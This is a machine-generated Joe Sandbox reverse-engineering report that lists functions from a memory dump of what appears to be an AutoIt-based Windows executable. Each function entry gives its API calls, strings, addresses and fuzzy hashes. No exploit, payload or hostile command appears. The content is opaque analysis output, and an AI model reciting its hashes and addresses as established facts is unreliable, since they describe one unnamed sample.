Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: ba694767d09dd33d74759c60abfc60f41d9263fbcaed75d3ed528e8537a44461
Instruction ID: 07785927cbd25c844b4aec975a75215d45395b35f1edbc0938ce824ea9a6d2d2
Opcode Fuzzy Hash: ba694767d09dd33d74759c60abfc60f41d9263fbcaed75d3ed528e8537a44461
Instruction Fuzzy Hash: D931B035E006049FD711DF78C894BAABBB5FF55306F188069E805CB292DB31DD8ACB90

Function 00A73C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00A73C79
SetMenu.USER32(?,00000000), ref: 00A73C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A73D10
IsMenu.USER32(?), ref: 00A73D24
CreatePopupMenu.USER32 ref: 00A73D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00A73D5B
DrawMenuBar.USER32 ref: 00A73D63

Strings

0, xrefs: 00A73C54
F, xrefs: 00A73D4E

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: b4fe1f32f6c6f9df27235a85a4b65830b5c7b838b5802ae3d185b9ce8e63ffec
Instruction ID: d3a1cc2f6adde3151a1918f99c3fb4a8b8197ae26c9f869037da392e2ecee228
Opcode Fuzzy Hash: b4fe1f32f6c6f9df27235a85a4b65830b5c7b838b5802ae3d185b9ce8e63ffec
Instruction Fuzzy Hash: C6419876A01209AFDF24CFA0DC44AAA7BB5FF49310F05842CE90AA7361D771AA11DB90

Function 00A73A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00A73A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00A73AA0
GetWindowLongW.USER32(?,000000F0), ref: 00A73AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00A73AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00A73B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00A73BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00A73BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00A73BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00A73BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00A73C13

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 6a888f32eb7569c045a74b6eb90c4169d5d87c66477a6e15b425875a34b76c0b
Instruction ID: 7951cb7c78eacb96636a2a70f7ca1c02292014920d087dab7a9d57c5b7050d4b
Opcode Fuzzy Hash: 6a888f32eb7569c045a74b6eb90c4169d5d87c66477a6e15b425875a34b76c0b
Instruction Fuzzy Hash: 66618D75900248AFDB11DFA8CD81EEE77B8EB49700F108159FA19E72A1C774AE46DB50

Function 00A4B12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00A4B151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00A4A1E1,?,00000001), ref: 00A4B165
GetWindowThreadProcessId.USER32(00000000), ref: 00A4B16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00A4A1E1,?,00000001), ref: 00A4B17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 00A4B18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00A4A1E1,?,00000001), ref: 00A4B1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00A4A1E1,?,00000001), ref: 00A4B1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00A4A1E1,?,00000001), ref: 00A4B1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00A4A1E1,?,00000001), ref: 00A4B212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00A4A1E1,?,00000001), ref: 00A4B21D

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 6ea293bb7c6d4ba50d3f52f6c73eb27c19148e05a9bb92593d52acabfa8e734b
Instruction ID: 89a0934fd54b673f8fad6e2268d1a474da9b2f2cb445de33b28ee1a4d8d1df28
Opcode Fuzzy Hash: 6ea293bb7c6d4ba50d3f52f6c73eb27c19148e05a9bb92593d52acabfa8e734b
Instruction Fuzzy Hash: 3831737A550208BFDF10EFA4DC94BAD7BA9BF91321F108219FA05D61A1D7B4DA428F70

Function 00A12C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00A12C94

Part of subcall function 00A129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00A1D7D1,00000000,00000000,00000000,00000000,?,00A1D7F8,00000000,00000007,00000000,?,00A1DBF5,00000000), ref: 00A129DE
Part of subcall function 00A129C8: GetLastError.KERNEL32(00000000,?,00A1D7D1,00000000,00000000,00000000,00000000,?,00A1D7F8,00000000,00000007,00000000,?,00A1DBF5,00000000,00000000), ref: 00A129F0

_free.LIBCMT ref: 00A12CA0
_free.LIBCMT ref: 00A12CAB
_free.LIBCMT ref: 00A12CB6
_free.LIBCMT ref: 00A12CC1
_free.LIBCMT ref: 00A12CCC
_free.LIBCMT ref: 00A12CD7
_free.LIBCMT ref: 00A12CE2
_free.LIBCMT ref: 00A12CED
_free.LIBCMT ref: 00A12CFB

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 86ce10463d911ed721ac63a43d4733b10ee4b64385e3fa1cba329c9a4bf4a1f0
Instruction ID: 1f27f14326247a8519de3e0429b53998923f4ac81ef83c1a5916ad483e8fe151
Opcode Fuzzy Hash: 86ce10463d911ed721ac63a43d4733b10ee4b64385e3fa1cba329c9a4bf4a1f0
Instruction Fuzzy Hash: 1C115976510108BFCB02EF58DA42EDD3BA5FF453A0F5145A5FA485F222D631EEB09B90

Function 009E1410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 009E1459
OleUninitialize.OLE32(?,00000000), ref: 009E14F8
UnregisterHotKey.USER32(?), ref: 009E16DD
DestroyWindow.USER32(?), ref: 00A224B9
FreeLibrary.KERNEL32(?), ref: 00A2251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00A2254B

Strings

close all, xrefs: 009E1454

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: f0f633560101778f9ccb468ec95be6acd8b751c7c605d45dfcfc68e1dde5d78e
Instruction ID: d1a52fd4a2f0916e7fcf168395ababbf9ca126d1bcf10726960b28866370a31e
Opcode Fuzzy Hash: f0f633560101778f9ccb468ec95be6acd8b751c7c605d45dfcfc68e1dde5d78e
Instruction Fuzzy Hash: 2CD1B131701262DFCB2AEF1AD895B29F7A4BF45710F1481ADE54A6B261DB30ED12CF50

Function 00A57DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00A57FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00A57FC1
GetFileAttributesW.KERNEL32(?), ref: 00A57FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00A58005
SetCurrentDirectoryW.KERNEL32(?), ref: 00A58017
SetCurrentDirectoryW.KERNEL32(?), ref: 00A58060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00A580B0

Strings

*.*, xrefs: 00A58066

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: 46f9393251b0326e3e388c3b020abc8e929f30383b07f9d1e970140064e0379c
Instruction ID: 163ef790b812666e819736d28fb309badc7886f7d50863c6109244fec1cad880
Opcode Fuzzy Hash: 46f9393251b0326e3e388c3b020abc8e929f30383b07f9d1e970140064e0379c
Instruction Fuzzy Hash: A6818F725083459BCB20EF54D845AAEB3E8BB88312F54485EFC85E7251EB34DD49CB52

Function 009E5BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 009E5C7A

Part of subcall function 009E5D0A: GetClientRect.USER32(?,?), ref: 009E5D30
Part of subcall function 009E5D0A: GetWindowRect.USER32(?,?), ref: 009E5D71
Part of subcall function 009E5D0A: ScreenToClient.USER32(?,?), ref: 009E5D99

GetDC.USER32 ref: 00A246F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00A24708
SelectObject.GDI32(00000000,00000000), ref: 00A24716
SelectObject.GDI32(00000000,00000000), ref: 00A2472B
ReleaseDC.USER32(?,00000000), ref: 00A24733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00A247C4

Strings

U, xrefs: 00A24693

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 85c06ce9a23c00b48426423fa8b6a85158fdb34a96e7db78745f997c341a3cd9
Instruction ID: afb068c2d2dfe7cbdfb831d216fd27d3ec8705d92f401074b5a8f57a970e2c59
Opcode Fuzzy Hash: 85c06ce9a23c00b48426423fa8b6a85158fdb34a96e7db78745f997c341a3cd9
Instruction Fuzzy Hash: 4C71DF31500245DFCF22CF68DD84ABA3BB6FF4A324F244279E9A55A1A6C7319C82DF50

Function 00A5359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 00A535E4

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

LoadStringW.USER32(00AB2390,?,00000FFF,?), ref: 00A5360A

Strings

^ ERROR, xrefs: 00A536C9
"%s" (%d) : ==> %s:%s%s, xrefs: 00A53724
Error: , xrefs: 00A536EF
"%s" (%d) : ==> %s:, xrefs: 00A53742
Line %d (File "%s"):, xrefs: 00A5366B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: 7b739283a222394315e7e33b0b25016bfa583bad441e82588fc577c2792990bb
Instruction ID: 025943d12f5298e4149eecaf39fd4cc4d72facd726529dc518623a274133f52b
Opcode Fuzzy Hash: 7b739283a222394315e7e33b0b25016bfa583bad441e82588fc577c2792990bb
Instruction Fuzzy Hash: 11515A72C00249BADF16EBA1CD46EEEBB78BF94341F544125F505720A2EB305E99DF60

Function 00A78B02 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009F9BB2

Part of subcall function 009F912D: GetCursorPos.USER32(?), ref: 009F9141
Part of subcall function 009F912D: ScreenToClient.USER32(00000000,?), ref: 009F915E
Part of subcall function 009F912D: GetAsyncKeyState.USER32(00000001), ref: 009F9183
Part of subcall function 009F912D: GetAsyncKeyState.USER32(00000002), ref: 009F919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00A78B6B
ImageList_EndDrag.COMCTL32 ref: 00A78B71
ReleaseCapture.USER32 ref: 00A78B77
SetWindowTextW.USER32(?,00000000), ref: 00A78C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00A78C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00A78CFF

Strings

@GUI_DRAGFILE, xrefs: 00A78C9A
@GUI_DROPID, xrefs: 00A78C51

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 7fd6aa90678bc4699cc70c9968679a82e76b35febbde6e60b312593de95aedc1
Instruction ID: 6a94bd395a19b1eefe808d61a62c0ad0df1314695697580a3cf0ec2b1fd14888
Opcode Fuzzy Hash: 7fd6aa90678bc4699cc70c9968679a82e76b35febbde6e60b312593de95aedc1
Instruction Fuzzy Hash: F7519C70104244AFD701DF64CC9ABAE77E4FB88710F404A2DF99A572E2CB759D45CB62

Function 00A5C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00A5C272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A5C29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00A5C2CA
GetLastError.KERNEL32 ref: 00A5C322
SetEvent.KERNEL32(?), ref: 00A5C336
InternetCloseHandle.WININET(00000000), ref: 00A5C341

Strings

, xrefs: 00A5C2BB

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: f0fb489ca72e9c343e9af7d1552af7b378d0ba317a29b7cf65c8cec986e61430
Instruction ID: d4adf1ebe9b723cec3a519319ff17a084289a62a518a7e3b4181518f39dac7e3
Opcode Fuzzy Hash: f0fb489ca72e9c343e9af7d1552af7b378d0ba317a29b7cf65c8cec986e61430
Instruction Fuzzy Hash: 31318DB1500308AFD721DFA49D88AABBAFCFB49766F10851DF84A97205DB30DD498B60

Function 00A4989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00A23AAF,?,?,Bad directive syntax error,00A7CC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 00A498BC
LoadStringW.USER32(00000000,?,00A23AAF,?), ref: 00A498C3

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00A49987

Strings

Line %d:, xrefs: 00A49912
., xrefs: 00A4996D
%s (%d) : ==> %s.: %s %s, xrefs: 00A498F1
Line %d (File "%s"):, xrefs: 00A4992D
Error: , xrefs: 00A49955

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 9f098890f07a1f04e9bba1eaa1ee0b7136a015bf13a8df34e4834a6da38c6a26
Instruction ID: 128042dbe696c9d3f39fa76dd4702a3ea1b0b0846165fdcd2f7c22a3bf826e18
Opcode Fuzzy Hash: 9f098890f07a1f04e9bba1eaa1ee0b7136a015bf13a8df34e4834a6da38c6a26
Instruction Fuzzy Hash: 25216231840259BBCF16EF90CC0AFEE7775FF58300F448869F519660A2EB719A68DB60

Function 00A4209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00A420AB
GetClassNameW.USER32(00000000,?,00000100), ref: 00A420C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00A4214D

Strings

smallicons, xrefs: 00A42115
list, xrefs: 00A4212F
largeicons, xrefs: 00A420E1
details, xrefs: 00A420FB
SHELLDLL_DefView, xrefs: 00A420CC

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: e5b856394a77627929e5998a4c91be1bfd5201064ab87dd16123ad13c22d9206
Instruction ID: db987bad81252f5eec6a42285d35c941244149b4f869a11db788cf3c7328e3ac
Opcode Fuzzy Hash: e5b856394a77627929e5998a4c91be1bfd5201064ab87dd16123ad13c22d9206
Instruction Fuzzy Hash: 57112C7E784706B9F6017338EC07EE6779CEF49765B60021AF704A50D1FF6558425728

Function 00A18D45 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2607dc188d6949145af5f386ac39eb24d3b2368344814b1eeebbdf41a4dd8d11
Instruction ID: e64d8d9b024d2ab7046d26d757a0b8b0eccec5634368d1c53f34fc151bdf8579
Opcode Fuzzy Hash: 2607dc188d6949145af5f386ac39eb24d3b2368344814b1eeebbdf41a4dd8d11
Instruction Fuzzy Hash: ADC1D174E04249AFDF21DFA8D851BEEBBB5AF0D310F184199E415AB3D2C7349982CB61

Function 00A1CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00A1CEB7
_free.LIBCMT ref: 00A1CF22
_free.LIBCMT ref: 00A1CF48
_free.LIBCMT ref: 00A1CF71
_free.LIBCMT ref: 00A1CFA9
_free.LIBCMT ref: 00A1CFDA
_free.LIBCMT ref: 00A1D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 00A1D09C
_free.LIBCMT ref: 00A1D0B5

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 9f8cc0c2a1c6360ded897b9094dfe56120de07983dc8a73c2eeffc68961d089e
Instruction ID: 46b8c65d158c3783012265820a7f3c619e68188b097347317934fe402cbee8b8
Opcode Fuzzy Hash: 9f8cc0c2a1c6360ded897b9094dfe56120de07983dc8a73c2eeffc68961d089e
Instruction Fuzzy Hash: 56612771A44310AFDB21AFF89981BEA7BA5EF05370F04426DF9459B292E6319DC2C790

Function 009F8B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00A36890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00A368A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00A368B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00A368D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00A368F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,009F8874,00000000,00000000,00000000,000000FF,00000000), ref: 00A36901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00A3691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,009F8874,00000000,00000000,00000000,000000FF,00000000), ref: 00A3692D

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

